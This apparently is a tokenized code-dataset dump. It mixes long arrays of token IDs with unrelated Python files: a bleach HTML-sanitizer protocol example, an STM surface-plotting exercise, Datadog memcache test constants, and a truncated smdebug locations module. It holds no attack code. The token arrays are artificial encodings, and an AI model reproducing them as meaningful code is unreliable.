322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 302, 550, 353, 8783, 7503, 29892, 1583, 29889, 13707, 29918, 22724, 1822, 1272, 13, 13, 4706, 396, 4327, 13, 4706, 716, 29918, 2749, 353, 7442, 29889, 275, 13707, 29898, 29876, 550, 467, 579, 668, 29898, 9302, 29889, 7411, 29941, 29906, 29897, 13, 13, 4706, 396, 1653, 20601, 13, 4706, 1962, 353, 8783, 29889, 6310, 2141, 517, 29918, 23749, 580, 13, 4706, 1962, 29889, 842, 29918, 1272, 29898, 1482, 29918, 2749, 29892, 1583, 29889, 22100, 29892, 405, 25099, 16727, 29898, 9302, 29889, 7411, 29941, 29906, 876, 13, 13, 4706, 736, 1962, 13, 13, 13, 1990, 383, 453, 1056, 19302, 713, 29898, 4375, 1988, 13372, 261, 1125, 13, 1678, 9995, 20876, 1056, 411, 19194, 1213, 15945, 13, 13, 1678, 903, 9202, 29918, 3198, 29879, 353, 313, 21574, 29918, 3198, 29892, 29897, 13, 1678, 903, 9067, 29918, 3198, 29879, 353, 3861, 13, 1678, 903, 29888, 978, 29918, 13506, 353, 376, 5589, 17514, 29908, 13, 13, 1678, 822, 6216, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 1125, 13, 4706, 9995, 12787, 6490, 1612, 5834, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 11608, 936, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 1583, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 731, 4327, 261, 2983, 322, 788, 12747, 13, 4706, 2428, 2141, 9202, 29898, 24713, 29897, 13, 4706, 396, 731, 4327, 261, 5680, 13, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 13, 4706, 1583, 29889, 2168, 29879, 353, 7442, 29889, 13707, 2168, 713, 29898, 1272, 29892, 9685, 29922, 29900, 29897, 13, 4706, 1583, 29889, 2168, 29879, 29961, 9302, 29889, 275, 13707, 29898, 1311, 29889, 2168, 29879, 4638, 353, 29871, 29900, 13, 13, 4706, 736, 1583, 13, 13, 1678, 822, 4327, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 29897, 1599, 11848, 2272, 16390, 24541, 29901, 13, 4706, 9995, 13372, 448, 5445, 1056, 411, 1612, 5834, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 11608, 936, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 11848, 2272, 8783, 411, 18511, 11073, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 12747, 1244, 13, 4706, 2428, 2141, 9067, 29898, 24713, 29897, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 4706, 396, 4327, 13, 4706, 848, 353, 7442, 29889, 3062, 29898, 9302, 29889, 275, 13707, 29898, 1272, 511, 1583, 29889, 2168, 29879, 29892, 848, 29897, 13, 13, 4706, 396, 1653, 20601, 13, 4706, 1962, 353, 8783, 29889, 6310, 2141, 517, 29918, 23749, 580, 13, 4706, 1962, 29889, 842, 29918, 1272, 29898, 1272, 29892, 1583, 29889, 22100, 29892, 405, 25099, 16727, 29898, 9302, 29889, 7411, 29941, 29906, 876, 13, 13, 4706, 736, 1962, 13, 13, 13, 1990, 383, 453, 25433, 29898, 4375, 1988, 13372, 261, 1125, 13, 1678, 9995, 20876, 3041, 411, 23432, 304, 4386, 408, 23432, 995, 1213, 15945, 13, 13, 1678, 903, 9202, 29918, 3198, 29879, 353, 313, 21574, 29918, 3198, 29892, 29897, 13, 1678, 903, 9067, 29918, 3198, 29879, 353, 3861, 13, 1678, 903, 29888, 978, 29918, 13506, 353, 376, 5589, 7192, 29908, 13, 13, 1678, 822, 4327, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 29897, 1599, 11848, 2272, 16390, 24541, 29901, 13, 4706, 9995, 20083, 3041, 304, 23432, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 11608, 936, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 11848, 2272, 8783, 411, 18511, 11073, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 12747, 1244, 13, 4706, 2428, 2141, 9067, 29898, 24713, 29897, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 4706, 396, 4327, 13, 13, 4706, 848, 353, 7442, 29889, 3062, 29898, 9302, 29889, 275, 7192, 29898, 1272, 511, 7442, 29889, 13707, 29892, 848, 29897, 13, 13, 4706, 396, 1653, 20601, 13, 4706, 1962, 353, 8783, 29889, 6310, 2141, 517, 29918, 23749, 580, 13, 4706, 1962, 29889, 842, 29918, 1272, 29898, 1272, 29892, 1583, 29889, 22100, 29892, 405, 25099, 16727, 29898, 9302, 29889, 7411, 29941, 29906, 876, 13, 13, 4706, 736, 1962, 13, 13, 13, 1990, 4522, 29949, 1289, 29879, 29898, 4375, 1988, 13372, 261, 1125, 13, 1678, 9995, 18455, 2070, 29879, 304, 1480, 397, 6289, 1213, 15945, 13, 13, 1678, 903, 9202, 29918, 3198, 29879, 353, 313, 21574, 29918, 3198, 29892, 29897, 13, 1678, 903, 9067, 29918, 3198, 29879, 353, 3861, 13, 1678, 903, 29888, 978, 29918, 13506, 353, 376, 1188, 397, 6289, 29908, 13, 13, 1678, 822, 4327, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 29897, 1599, 11848, 2272, 16390, 24541, 29901, 13, 4706, 9995, 13372, 448, 3588, 954, 1819, 304, 1480, 397, 6289, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 11608, 936, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 11848, 2272, 8783, 411, 18511, 11073, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 12747, 1244, 13, 4706, 2428, 2141, 9067, 29898, 24713, 29897, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 4706, 396, 4327, 13, 4706, 396, 14402, 29901, 5505, 7442, 29889, 4548, 322, 769, 20102, 292, 322, 1480, 397, 6289, 29973, 13, 4706, 848, 353, 7442, 29889, 24049, 29898, 1272, 29892, 29871, 29896, 29872, 29899, 29955, 29892, 29871, 29896, 448, 29871, 29896, 29872, 29899, 29955, 29897, 13, 4706, 848, 353, 7442, 29889, 1188, 29898, 1272, 847, 313, 29896, 448, 848, 876, 13, 13, 4706, 396, 1653, 20601, 13, 4706, 1962, 353, 8783, 29889, 6310, 2141, 517, 29918, 23749, 580, 13, 4706, 1962, 29889, 842, 29918, 1272, 29898, 1272, 29892, 1583, 29889, 22100, 29892, 405, 25099, 16727, 29898, 9302, 29889, 7411, 29941, 29906, 876, 13, 13, 4706, 736, 1962, 13, 13, 13, 1990, 10117, 29636, 261, 29898, 4375, 1988, 13372, 261, 1125, 13, 1678, 9995, 2385, 293, 10117, 29636, 261, 1213, 15945, 13, 13, 1678, 903, 9202, 29918, 3198, 29879, 353, 313, 21574, 29918, 3198, 29892, 29897, 13, 1678, 903, 9067, 29918, 3198, 29879, 353, 3861, 13, 1678, 903, 29888, 978, 29918, 13506, 353, 376, 19529, 261, 29908, 13, 13, 1678, 822, 6216, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 1125, 13, 4706, 9995, 12787, 6490, 2794, 322, 3659, 29879, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 11608, 936, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 1583, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 731, 4327, 261, 2983, 322, 788, 12747, 13, 4706, 2428, 2141, 9202, 29898, 24713, 29897, 13, 4706, 396, 731, 4327, 261, 5680, 13, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 13, 4706, 1583, 29889, 1004, 550, 353, 7442, 29889, 13707, 12676, 29898, 1272, 29892, 9685, 29922, 29900, 29897, 13, 4706, 1583, 29889, 4172, 29879, 353, 7442, 29889, 13707, 4172, 29898, 1272, 29892, 9685, 29922, 29900, 29897, 13, 4706, 396, 24778, 5225, 3659, 29879, 304, 29871, 29896, 13, 4706, 1583, 29889, 4172, 29879, 15625, 1311, 29889, 4172, 29879, 1275, 29871, 29900, 29897, 891, 7442, 29889, 275, 13707, 29898, 1311, 29889, 4172, 29879, 4638, 353, 29871, 29896, 13, 13, 4706, 736, 1583, 13, 13, 1678, 822, 4327, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 29897, 1599, 11848, 2272, 16390, 24541, 29901, 13, 4706, 9995, 17185, 1243, 848, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 16985, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 11848, 2272, 8783, 411, 18511, 11073, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 12747, 1244, 13, 4706, 2428, 2141, 9067, 29898, 24713, 29897, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 13, 4706, 396, 4327, 13, 4706, 848, 353, 313, 1272, 448, 1583, 29889, 1004, 550, 29897, 847, 1583, 29889, 4172, 29879, 13, 13, 4706, 396, 1653, 20601, 13, 4706, 1962, 353, 8783, 29889, 6310, 2141, 517, 29918, 23749, 580, 13, 4706, 1962, 29889, 842, 29918, 1272, 29898, 1272, 29892, 1583, 29889, 22100, 29892, 405, 25099, 16727, 29898, 9302, 29889, 7411, 29941, 29906, 876, 13, 13, 4706, 736, 1962, 13, 13, 13, 1990, 22746, 488, 29933, 262, 1076, 29898, 4375, 1988, 13372, 261, 1125, 13, 1678, 9995, 4205, 4838, 2133, 310, 16985, 5680, 491, 4323, 5475, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 302, 29890, 1144, 29901, 7472, 1353, 310, 289, 1144, 29889, 13, 13, 1678, 9995, 13, 13, 1678, 903, 9202, 29918, 3198, 29879, 353, 313, 21574, 29918, 3198, 29892, 29897, 13, 1678, 903, 9067, 29918, 3198, 29879, 353, 3861, 13, 1678, 903, 29888, 978, 29918, 13506, 353, 376, 29939, 593, 29880, 29908, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 302, 29890, 1144, 29901, 938, 353, 29871, 29896, 29900, 1125, 13, 4706, 1583, 29889, 9877, 1144, 353, 302, 29890, 1144, 13, 13, 1678, 822, 6216, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 1125, 13, 4706, 9995, 12787, 6490, 289, 1144, 28199, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 16985, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 1583, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 731, 4327, 261, 2983, 322, 788, 12747, 13, 4706, 2428, 2141, 9202, 29898, 24713, 29897, 13, 4706, 396, 731, 4327, 261, 5680, 13, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 13, 4706, 2243, 353, 7442, 29889, 275, 13707, 29898, 1272, 29897, 13, 4706, 6856, 353, 7442, 29889, 1915, 3493, 29898, 29900, 29892, 29871, 29896, 29892, 1583, 29889, 9877, 1144, 718, 29871, 29896, 9601, 29896, 13018, 29896, 29962, 13, 13, 4706, 1583, 29889, 29890, 1144, 353, 5159, 13, 13, 4706, 363, 302, 297, 3464, 29898, 1272, 29889, 12181, 29961, 29896, 29962, 1125, 13, 9651, 3855, 353, 7442, 29889, 12150, 488, 29898, 1272, 7503, 29892, 302, 3816, 30022, 2536, 7503, 29892, 302, 20526, 3855, 29922, 7720, 29897, 13, 9651, 3855, 353, 7442, 29889, 13092, 29898, 29939, 29897, 13, 9651, 1583, 29889, 29890, 1144, 29889, 4397, 29898, 29939, 29897, 13, 13, 4706, 736, 1583, 13, 13, 1678, 822, 4327, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 29897, 1599, 11848, 2272, 16390, 24541, 29901, 13, 4706, 9995, 2052, 368, 9016, 28199, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 16985, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 11848, 2272, 8783, 411, 18511, 11073, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 12747, 1244, 13, 4706, 2428, 2141, 9067, 29898, 24713, 29897, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 13, 4706, 396, 4327, 13, 4706, 2243, 353, 7442, 29889, 275, 13707, 29898, 1272, 29897, 13, 13, 4706, 716, 29918, 1272, 353, 7442, 29889, 3298, 359, 29898, 1272, 29889, 12181, 29892, 26688, 29922, 9302, 29889, 524, 29941, 29906, 29897, 13, 13, 4706, 363, 302, 29892, 289, 297, 26985, 29898, 1311, 29889, 29890, 1144, 1125, 13, 9651, 716, 29918, 1272, 7503, 29892, 302, 29962, 353, 7442, 29889, 4478, 24582, 29898, 29890, 29892, 7442, 29889, 3062, 29898, 2536, 7503, 29892, 302, 1402, 7442, 29889, 7192, 29892, 848, 7503, 29892, 302, 12622, 718, 29871, 29896, 13, 13, 4706, 716, 29918, 1272, 353, 7442, 29889, 3062, 29898, 2536, 29892, 29871, 29900, 29892, 716, 29918, 1272, 29897, 13, 13, 4706, 396, 1653, 20601, 13, 4706, 1962, 353, 8783, 29889, 6310, 2141, 517, 29918, 23749, 580, 13, 4706, 1962, 29889, 842, 29918, 1272, 29898, 1482, 29918, 1272, 29892, 1583, 29889, 22100, 29892, 17943, 16727, 29898, 9302, 29889, 524, 29941, 29906, 29892, 3858, 29918, 26716, 29922, 5574, 876, 13, 13, 4706, 736, 1962, 13, 2 ]
bleach__examples__remove_tags__clear_html/escape_protocols.py
DazEB2/SimplePyScripts
117
33414
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' # SOURCE: https://github.com/mozilla/bleach # SOURCE: https://bleach.readthedocs.io/en/latest/clean.html#allowed-protocols-protocols # pip install bleach import bleach # List of allowed protocols print('List of allowed protocols:', bleach.sanitizer.ALLOWED_PROTOCOLS) # ['http', 'https', 'mailto'] print( bleach.clean( '<a href="smb://more_text">allowed protocol</a>' ) ) # <a>allowed protocol</a> print( bleach.clean( '<a href="smb://more_text">allowed protocol</a>', protocols=['http', 'https', 'smb'] ) ) # <a href="smb://more_text">allowed protocol</a> print( bleach.clean( '<a href="smb://more_text">allowed protocol</a>', protocols=bleach.ALLOWED_PROTOCOLS + ['smb'] ) ) # <a href="smb://more_text">allowed protocol</a>
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 1649, 8921, 1649, 353, 525, 666, 18184, 1161, 29915, 13, 13, 13, 29937, 7791, 4574, 4741, 29901, 2045, 597, 3292, 29889, 510, 29914, 13025, 29914, 569, 496, 13, 29937, 7791, 4574, 4741, 29901, 2045, 597, 569, 496, 29889, 949, 386, 287, 12332, 29889, 601, 29914, 264, 29914, 12333, 29914, 14941, 29889, 1420, 29937, 24622, 29899, 20464, 29879, 29899, 20464, 29879, 13, 13, 13, 29937, 8450, 2601, 10767, 496, 13, 5215, 10767, 496, 13, 13, 13, 29937, 2391, 310, 6068, 9608, 29879, 13, 2158, 877, 1293, 310, 6068, 9608, 29879, 29901, 742, 10767, 496, 29889, 28455, 277, 3950, 29889, 1964, 27998, 3352, 29918, 8618, 4986, 3217, 8547, 29897, 13, 29937, 6024, 1124, 742, 525, 991, 742, 525, 2549, 517, 2033, 13, 13, 2158, 29898, 13, 1678, 10767, 496, 29889, 14941, 29898, 13, 4706, 12801, 29874, 2822, 543, 3844, 29890, 597, 5514, 29918, 726, 1013, 24622, 9608, 829, 29874, 16299, 13, 1678, 1723, 13, 29897, 13, 29937, 529, 29874, 29958, 24622, 9608, 829, 29874, 29958, 13, 13, 2158, 29898, 13, 1678, 10767, 496, 29889, 14941, 29898, 13, 4706, 12801, 29874, 2822, 543, 3844, 29890, 597, 5514, 29918, 726, 1013, 24622, 9608, 829, 29874, 29958, 742, 13, 4706, 9608, 29879, 29922, 1839, 1124, 742, 525, 991, 742, 525, 3844, 29890, 2033, 13, 1678, 1723, 13, 29897, 13, 29937, 529, 29874, 2822, 543, 3844, 29890, 597, 5514, 29918, 726, 1013, 24622, 9608, 829, 29874, 29958, 13, 13, 2158, 29898, 13, 1678, 10767, 496, 29889, 14941, 29898, 13, 4706, 12801, 29874, 2822, 543, 3844, 29890, 597, 5514, 29918, 726, 1013, 24622, 9608, 829, 29874, 29958, 742, 13, 4706, 9608, 29879, 29922, 569, 496, 29889, 1964, 27998, 3352, 29918, 8618, 4986, 3217, 8547, 718, 6024, 3844, 29890, 2033, 13, 1678, 1723, 13, 29897, 13, 29937, 529, 29874, 2822, 543, 3844, 29890, 597, 5514, 29918, 726, 1013, 24622, 9608, 829, 29874, 29958, 13, 2 ]
Ankit Khandelwal_HW2/exercise 11/exercise 11c.py
ankit27kh/Computational-Physics-PH354
0
179095
<reponame>ankit27kh/Computational-Physics-PH354<gh_stars>0 # -*- coding: utf-8 -*- """ Created on Mon Feb 10 20:31:35 2020 @author: <NAME> """ from math import * import matplotlib.pyplot as plt import numpy as np import pandas as pd stm = pd.read_csv("stm.txt", sep=' ', header=None) xv = np.linspace(0, 473, 474) yv = np.linspace(0, 675, 676) Ex = np.zeros((676, 474)) Ey = np.zeros((676, 474)) for i in yv: for j in xv: if j == 473: continue i1 = int(i) j1 = int(j) if pd.isnull(stm[i1][j1 + 1]) or pd.isnull(stm[i1][j1]): continue Ex[i1][j1] = (stm[i1][j1 + 1] - stm[i1][j1]) / 2.5 for j in xv: for i in yv: if i1 == 675: continue i1 = int(i) j1 = int(j) if pd.isnull(stm[i1 + 1][j1]) or pd.isnull(stm[i1][j1]): continue Ey[i1][j1] = (stm[i1 + 1][j1] - stm[i1][j1]) / 2.5 Intensity = np.zeros((676, 474)) for i in yv: for j in xv: i1 = int(i) j1 = int(j) if pd.isnull(Ex[i1][j1]) or pd.isnull(Ey[i1][j1]): continue Intensity[i1][j1] = (cos(radians(45)) * Ex[i1][j1] + sin(degrees(45)) * Ey[i1][j1]) / ( sqrt(Ex[i1][j1] ** 2 + Ey[i1][j1] ** 2) + 1) plt.imshow(Intensity.transpose(), cmap='Blues') plt.title("Silicon Surface") plt.show()
[ 1, 529, 276, 1112, 420, 29958, 804, 277, 29906, 29955, 15339, 29914, 20606, 1288, 29899, 25847, 1199, 29899, 19689, 29941, 29945, 29946, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 15945, 29908, 13, 20399, 373, 2598, 26319, 29871, 29896, 29900, 29871, 29906, 29900, 29901, 29941, 29896, 29901, 29941, 29945, 29871, 29906, 29900, 29906, 29900, 13, 13, 29992, 8921, 29901, 529, 5813, 29958, 13, 15945, 29908, 13, 13, 3166, 5844, 1053, 334, 13, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 12655, 408, 7442, 13, 5215, 11701, 408, 10518, 13, 13, 303, 29885, 353, 10518, 29889, 949, 29918, 7638, 703, 303, 29885, 29889, 3945, 613, 16345, 2433, 13420, 4839, 29922, 8516, 29897, 13, 13, 29916, 29894, 353, 7442, 29889, 1915, 3493, 29898, 29900, 29892, 29871, 29946, 29955, 29941, 29892, 29871, 29946, 29955, 29946, 29897, 13, 29891, 29894, 353, 7442, 29889, 1915, 3493, 29898, 29900, 29892, 29871, 29953, 29955, 29945, 29892, 29871, 29953, 29955, 29953, 29897, 13, 13, 1252, 353, 7442, 29889, 3298, 359, 3552, 29953, 29955, 29953, 29892, 29871, 29946, 29955, 29946, 876, 13, 29923, 29891, 353, 7442, 29889, 3298, 359, 3552, 29953, 29955, 29953, 29892, 29871, 29946, 29955, 29946, 876, 13, 13, 1454, 474, 297, 343, 29894, 29901, 13, 1678, 363, 432, 297, 921, 29894, 29901, 13, 4706, 565, 432, 1275, 29871, 29946, 29955, 29941, 29901, 13, 9651, 6773, 13, 4706, 474, 29896, 353, 938, 29898, 29875, 29897, 13, 4706, 432, 29896, 353, 938, 29898, 29926, 29897, 13, 4706, 565, 10518, 29889, 275, 4304, 29898, 303, 29885, 29961, 29875, 29896, 3816, 29926, 29896, 718, 29871, 29896, 2314, 470, 10518, 29889, 275, 4304, 29898, 303, 29885, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 1125, 13, 9651, 6773, 13, 4706, 1222, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 353, 313, 303, 29885, 29961, 29875, 29896, 3816, 29926, 29896, 718, 29871, 29896, 29962, 448, 380, 29885, 29961, 29875, 29896, 3816, 29926, 29896, 2314, 847, 29871, 29906, 29889, 29945, 13, 13, 1454, 432, 297, 921, 29894, 29901, 13, 1678, 363, 474, 297, 343, 29894, 29901, 13, 4706, 565, 474, 29896, 1275, 29871, 29953, 29955, 29945, 29901, 13, 9651, 6773, 13, 4706, 474, 29896, 353, 938, 29898, 29875, 29897, 13, 4706, 432, 29896, 353, 938, 29898, 29926, 29897, 13, 4706, 565, 10518, 29889, 275, 4304, 29898, 303, 29885, 29961, 29875, 29896, 718, 29871, 29896, 3816, 29926, 29896, 2314, 470, 10518, 29889, 275, 4304, 29898, 303, 29885, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 1125, 13, 9651, 6773, 13, 4706, 382, 29891, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 353, 313, 303, 29885, 29961, 29875, 29896, 718, 29871, 29896, 3816, 29926, 29896, 29962, 448, 380, 29885, 29961, 29875, 29896, 3816, 29926, 29896, 2314, 847, 29871, 29906, 29889, 29945, 13, 13, 2928, 575, 537, 353, 7442, 29889, 3298, 359, 3552, 29953, 29955, 29953, 29892, 29871, 29946, 29955, 29946, 876, 13, 13, 1454, 474, 297, 343, 29894, 29901, 13, 1678, 363, 432, 297, 921, 29894, 29901, 13, 4706, 474, 29896, 353, 938, 29898, 29875, 29897, 13, 4706, 432, 29896, 353, 938, 29898, 29926, 29897, 13, 4706, 565, 10518, 29889, 275, 4304, 29898, 1252, 29961, 29875, 29896, 3816, 29926, 29896, 2314, 470, 10518, 29889, 275, 4304, 29898, 29923, 29891, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 1125, 13, 9651, 6773, 13, 4706, 3159, 575, 537, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 353, 313, 3944, 29898, 3665, 5834, 29898, 29946, 29945, 876, 334, 1222, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 718, 4457, 29898, 311, 7979, 267, 29898, 29946, 29945, 876, 334, 382, 29891, 29961, 29875, 29896, 3816, 29926, 29896, 2314, 847, 313, 13, 18884, 18074, 2273, 29898, 1252, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 3579, 29871, 29906, 718, 382, 29891, 29961, 29875, 29896, 3816, 29926, 29896, 29962, 3579, 29871, 29906, 29897, 718, 29871, 29896, 29897, 13, 13, 572, 29873, 29889, 326, 4294, 29898, 2928, 575, 537, 29889, 3286, 4220, 3285, 274, 1958, 2433, 10358, 1041, 1495, 13, 572, 29873, 29889, 3257, 703, 26729, 4144, 6298, 2161, 1159, 13, 572, 29873, 29889, 4294, 580, 13, 2 ]
mcache/tests/common.py
frmengel/integrations-core
0
127559
<gh_stars>0 # (C) Datadog, Inc. 2010-2017 # All rights reserved # Licensed under Simplified BSD License (see LICENSE) PORT = 11211 SERVICE_CHECK = 'memcache.can_connect'
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 313, 29907, 29897, 13373, 328, 468, 29892, 9266, 29889, 29871, 29906, 29900, 29896, 29900, 29899, 29906, 29900, 29896, 29955, 13, 29937, 2178, 10462, 21676, 13, 29937, 10413, 21144, 1090, 3439, 572, 2164, 350, 7230, 19245, 313, 4149, 365, 2965, 1430, 1660, 29897, 13, 15082, 353, 29871, 29896, 29896, 29906, 29896, 29896, 13, 6304, 19059, 29918, 3210, 16658, 353, 525, 6954, 8173, 29889, 3068, 29918, 6915, 29915, 13, 2 ]
smdebug/core/locations.py
aaronmarkham/sagemaker-debugger
0
148855
# Standard Library import os import re from abc import ABC, abstractmethod # Local from .logger import get_logger from .utils import get_immediate_subdirectories logger = get_logger() class TensorLocation: def __init__(self, tname, mode, mode_step, event_file_name, start_idx, length, worker): self.tensorname = tname self.mode = mode self.mode_step = int(mode_step) self.event_file_name = event_file_name self.start_idx = start_idx self.length = length self.worker = worker def to_dict(self): return {"tensorname": self.tensorname, "start_idx": self.start_idx, "length": self.length} class TensorShape: def __init__(self, name, mode, mode_step, shape, original_name=None): self.name = name self.original_name = original_name if original_name is not None else name self.mode = mode self.mode_step = mode_step self.shape = tuple(shape) def to_dict(self): return {"tensorname": self.name, "originalname": self.original_name, "shape": self.shape} STEP_NUMBER_FORMATTING_LENGTH = "012" class EventFileLocation(ABC): def __init__(self, step_num, worker_name): self.step_num = int(step_num) self.worker_name = worker_name self.type = None def get_step_num_str(self): return str(format(self.step_num, STEP_NUMBER_FORMATTING_LENGTH)) def get_filename(self): step_num_str = self.get_step_num_str() event_filename = f"{step_num_str}_{self.worker_name}.tfevents" return event_filename @classmethod def match_regex(cls, s): return cls.load_filename(s, print_error=False) @classmethod def load_filename(cls, s, print_error=True): event_file_name = os.path.basename(s) m = re.search("(.*)_(.*).tfevents$", event_file_name) if m: step_num = int(m.group(1)) worker_name = m.group(2) return cls(step_num=step_num, worker_name=worker_name) else: if print_error: logger.error("Failed to load efl: ", s) return None @abstractmethod def get_file_location(self): pass class TensorFileLocation(EventFileLocation): def __init__(self, step_num, worker_name): super().__init__(step_num, worker_name) self.type = "events" @staticmethod def get_dir(trial_dir): return os.path.join(trial_dir, "events") def get_file_location(self, trial_dir=""): if trial_dir: event_key_prefix = self.get_dir(trial_dir) else: event_key_prefix = self.type return os.path.join(event_key_prefix, self.get_step_num_str(), self.get_filename()) @classmethod def get_step_dirs(cls, trial_dir): return get_immediate_subdirectories(cls.get_dir(trial_dir)) @classmethod def get_step_dir_path(cls, trial_dir, step_num): step_num = int(step_num) return os.path.join(cls.get_dir(trial_dir), format(step_num, STEP_NUMBER_FORMATTING_LENGTH)) class TensorboardFileLocation(EventFileLocation): def __init__(self, step_num, worker_name, mode=None): super().__init__(step_num, worker_name) self.mode = mode self.type = "tensorboard" def get_file_location(self, base_dir=""): # when base_dir is empty it just returns the relative file path if base_dir: event_key_prefix = os.path.join(base_dir, self.mode.name) else: event_key_prefix = os.path.join(self.type, self.mode.name) return os.path.join(event_key_prefix, self.get_filename()) class IndexFileLocationUtils: # These functions are common to index reader and index writer MAX_INDEX_FILE_NUM_IN_INDEX_PREFIX = 1000 @staticmethod def get_index_prefix_for_step(step_num): index_prefix_for_step = ( step_num // IndexFileLocationUtils.MAX_INDEX_FILE_NUM_IN_INDEX_PREFIX ) return format(index_prefix_for_step, "09") @staticmethod def next_index_prefix_for_step(step_num): index_prefix_for_step = ( step_num // IndexFileLocationUtils.MAX_INDEX_FILE_NUM_IN_INDEX_PREFIX ) return format(index_prefix_for_step + 1, "09") @staticmethod def _get_index_key(trial_prefix, step_num, worker_name): index_prefix_for_step_str = IndexFileLocationUtils.get_index_prefix_for_step(step_num) step_num_str = format(step_num, "012") index_filename = format(f"{step_num_str}_{worker_name}.json") index_key = os.path.join(trial_prefix, "index", index_prefix_for_step_str, index_filename) return index_key # for a step_num index files lies # in prefix step_num/MAX_INDEX_FILE_NUM_IN_INDEX_PREFIX @staticmethod def get_index_key_for_step(trial_prefix, step_num, worker_name): return IndexFileLocationUtils._get_index_key(trial_prefix, step_num, worker_name) @staticmethod def get_step_from_idx_filename(index_file_name): i = index_file_name.find("_") k = index_file_name[i + 1 :].find("_") step_num_str = index_file_name[i + 1 : i + 1 + k] return int(step_num_str) @staticmethod def parse_step_from_index_file_name(index_file_name): # 10 = prefix/index/000000000/000000000010_worker.json' # 10 = prefix/index/000000000/000000000010_worker_EVAL.json' base_file_name = os.path.basename(index_file_name) step = int(base_file_name.split("_")[0]) return step @staticmethod def get_index_path(path): return os.path.join(path, "index") @staticmethod def get_prefix_from_index_file(index_file: str) -> str: """ The function returns the filepath prefix before 